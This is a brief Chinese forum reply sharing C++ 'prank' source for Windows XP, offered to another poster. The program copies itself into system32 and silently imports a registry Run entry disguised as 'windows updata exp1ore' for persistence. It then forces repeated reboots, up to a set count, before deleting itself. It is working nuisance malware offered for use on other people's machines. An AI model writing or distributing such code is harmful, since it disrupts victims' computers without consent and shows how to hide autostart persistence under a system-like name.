to 楼上.
送你吧.去年写的恶作剧...
//xp系统循环重启.
#include <iostream>
#include <cstdlib>
#include <string>
#include <fstream>
using namespace std;
const int justNumbers = 5; //这里变量改为重启次数
int main(int argc,char *argv[])
{
char dos_copy[150]="copy ";
strcat(dos_copy,"\"");
strcat(dos_copy,argv[0]);
strcat(dos_copy,"\"");
strcat(dos_copy," \"c:\\WINDOWS\\system32\\zv.exe\"");
system(dos_copy);
fstream outfiles;
outfiles.open("C:\\WINDOWS\\system32\\zshut.reg",ios::out);
if (!outfiles)
{
cout << "失败!"<< endl;
abort();
}
outfiles << "Windows Registry Editor Version 5.00" << endl;
outfiles << "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]" <<endl;
outfiles << "\"windows
updata exp1ore\"=\"C:\\\\WINDOWS\\\\system32\\\\zv.exe\"";
outfiles.close();
system("regedit/s C:\\WINDOWS\\system32\\zshut.reg");
fstream infiles;
infiles.open("zzz.txt",ios::in);
if (!infiles)
{
fstream outfiles;
outfiles.open("zzz.txt",ios::out);
if (!outfiles)
{
cout << "失败!" << endl;
abort();
}
int i = 1;
outfiles << i;
outfiles.close();
}
int number = 0;
infiles >> number;
number += 1;
fstream outfilelast;
outfilelast.open("zzz.txt",ios::out);
if (!outfilelast)
{
cout << "失败!" << endl;
abort();
}
outfilelast << number;
outfilelast.close();
if (number <= justNumbers )
{
for (int i = 0; i < 10; i++)
{
cout
<< "模拟病毒程序,您将自动从启" << justNumbers <<"次,本程序自动删除!"
<<endl;
cout << "这是您几 " <<number<< " 次重启." << endl;
}
system("shutdown /r");
}
else
{
system("del c:\\WINDOWS\\system32\\zv.exe");
cout << "好了,您的电脑" << justNumbers <<" 次从启完闭,不好意思.打扰了!" <<endl;
}
return 0;
}